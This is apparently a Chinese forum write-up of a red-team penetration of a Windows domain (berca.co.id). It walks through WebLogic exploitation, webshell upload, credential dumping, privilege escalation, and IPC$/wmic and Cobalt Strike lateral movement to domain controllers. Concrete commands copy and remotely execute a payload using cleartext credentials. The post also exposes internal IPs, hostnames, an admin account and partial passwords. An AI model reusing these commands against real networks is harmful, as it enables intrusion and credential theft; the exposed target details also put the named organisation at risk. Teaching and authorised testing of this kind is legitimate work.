https://forum.butian.net/share/2119
最近在学习内网渗透,很想找个机会练练手。正好团队接到红队评估的项目,于是便有了此文,没什么技术含量,师傅们轻点喷。
在外网打点的的时候,都是些小打小闹,没有拿到权限,很是苦恼,最后突然发现了这个站点,一下子坐了起来,直觉告诉我有戏
Ps: 这里自己总结了一些Weblogic常见漏洞
Weblogic12存在 Wls9-async漏洞和 XMLDecoder漏洞,这里直接利用漏洞利用工具验证,漏洞存在。
先简单看一下当前用户权限,当前为administrator权限
直接传个冰蝎上去看看
冰蝎连上去,内网信息收集一波
系统:Windows Server 2008 R2 Enterprise
域:berca.co.id
当前主机是一台Windows Server 2008的机子,那我们就可以抓到明文密码,并且存在域环境。
IPv4 Address. . . . . . . . . . . : 192.168.10.22Primary Dns Suffix . . . . . . . : berca.co.id
DNS Suffix Search List. . . . . . : berca.co.id
DNS Servers . . . . . . . . . . . : 192.168.15.187
192.168.15.180
收集到这里,通过DNS服务器初步判断,192.168.15.180、192.168.15.187这两台就是域控机器,后面也证实这两台就是域控机器。
再看一下进程列表,看一下是否存在杀软,就很棒,居然没有杀软
查看域用户失败,提示权限不足
net user /domain //查看域用户
默认共享开启
net share //查看默认共享
后续想继续收集一些域信息,但是因为权限不足,所以干脆一不做二不休直接祭出内网大杀器CS,直接powershell一句话上线CS
内网存活主机扫描一波:
net view /domain //查询域
net view /domain:ROOT //查询ROOT域内所有机器
net group "domain computers" /domain //查询所有域成员计算机列表
大概看了下,有好几百台机子,还不错。
net time /domain //查询主域
域服务器通常也会作为时间服务器,主域:\\ADBHPSRV.berca.co.id
net group "Domain Controllers" /domain //查看域控列表
Nslookup -type=SRV \_ldap.\_tcp //查看域控主机名
得到两台域控的地址和主机名:
192.168.15.187 adbhpsrv.berca.co.id192.168.15.180 adbhpsrv02.berca.co.id
net group "domain admins" /domain //查询域管
域管还挺多,我们只要能拿到一个域管的权限,就可以在这个域内漫游了
net accounts /domain //获取域密码信息
nltest /domain\_trusts 获取域信任信息
在内网渗透中,很多横向移动的方法都需要先获取用户的密码或者Hash值才能进行,比如哈希传递攻击、票据传递等等。
因为目标机是windows server 2008,所以直接抓到了明文密码:
得到明文密码:Administrator/[email protected]@62##
因为当前是一个Administrator权限,当前主机补丁打得也比较少,所以这里尝试利用甜土豆提权到system,提权成功反弹回来一个system权限的会话
IPC$ 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。利用IPC$可以与目标主机建立一个连接,利用这个连接,可以实现远程登陆及对默认共享的访问、访问目标机器的文件,上传、下载,也可以在目标机器上运行命令等。
• 管理员开启了默认共享
默认共享是为了方便管理员远程管理而默认开启的共享,我们通过IPC连接可以实现对这些默认共享的访问。可以通过net share命令查看,前期信息收集时,就已经查看过当前主机是开启了默认共享的。
• 139、445端口开启
IPC连接需要139或445端口来支持,我们可以通过139和445端口来实现对共享文件/打印机的访问,IPC$连接默认会走445端口,不通的话会走139端口,这两个端口都可以单独实现文件共享。
当前主机满足上述IPC的利用条件,所以先尝试做IPC连接,发现10.23可以连接成功
shell net use \\\\192.168.10.23\\ipc$ "Psft24680[email protected]@62##" /user:"Administrator"
然后在本机传个马,copy过去
shell copy C:\\Windows\\Temp\\ma.exe \\\\192.168.10.23\\c$\\Windows\\Temp\\ma.exe
之后利用wmic远程执行
shell wmic /node:192.168.10.23 /user:Administrator /password:[email protected]@62## process call create "cmd.exe /c C:\\Windows\\Temp\\ma.exe"
但是在我传过去之后机器久久未上线,远程获取进程发现也并无杀软,猜测目标机器不出网。
SMB Beacon使用命名管道与父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,常用来绕防火墙有奇效。
• 具有SMB Beacon的主机必须接受端口445上的连接
• 只能链接由同一Cobalt Strike实例管理的Beacon
在域中,默认域用户是可以登录到除域控以外的所有主机。当我们得到其中一个域用户的账号密码,所以我们可以利用该域用户与其他主机建立IPC连接,然后让其他主机进行SMB Beacon上线,于是批量扫了下445开放的主机
这里扫到了10.23机器开放,前面IPC也是利用的它,这里试试用SMB Beacon让其上线。
首先创建一个SMB Beacon的监听
建立好SMB Beacon监听,尝试进行横向,利用明文密码或者hash让机器上线SMB Beacon,这里利用的是psexec_psh
利用SMB Beacon成功上线后,后面就会有 ∞∞ 这个字符,这就是派生的SMB Beacon,之后再在这台机子抓hash
然后重复操作10.18、10.19
在横向18、19的时候发现了一个疑似域用户的,可以重复上面的IPC连接传马远程执行,或者用这个机子继续去smb横向
当我成功横向24的时候发现了一个域管用户sp\_farm
,并成功抓取到了明文密码
1. 当抓到域管明文,可以直接利用CS的功能,切换用户上线
2. 如果没域管明文,可以查看当前机子是否有域管进程,注入域管进程上线
通过上述两种方式,都可以得到域管权限的回话
有了域管权限,就可以直接横向域控了,前期的信息收集我们知道域控都在15段,我们当前所有拿到的机子都是10段的,所以这里利用了CS的另一个功能,我们可以自己添加目标机器,这里直接把域控的IP和主机名都添加上,操作系统写ukonw就可以了
添加好域管主机后,扫描了一下域控机器是否开放了445端口
发现都开放了445,之后就可以用域管权限的会话,或者域管权限的账户横向过去
横向成功,域控主机成功上线
然后导出域内hash,全部拿下
内网渗透的思路、方法远远不止于此,本项目中用到的也只是很小的一部分,如果文中有错误,望大佬们斧正。
https://github.com/aleenzz/Cobalt\_Strike\_wiki/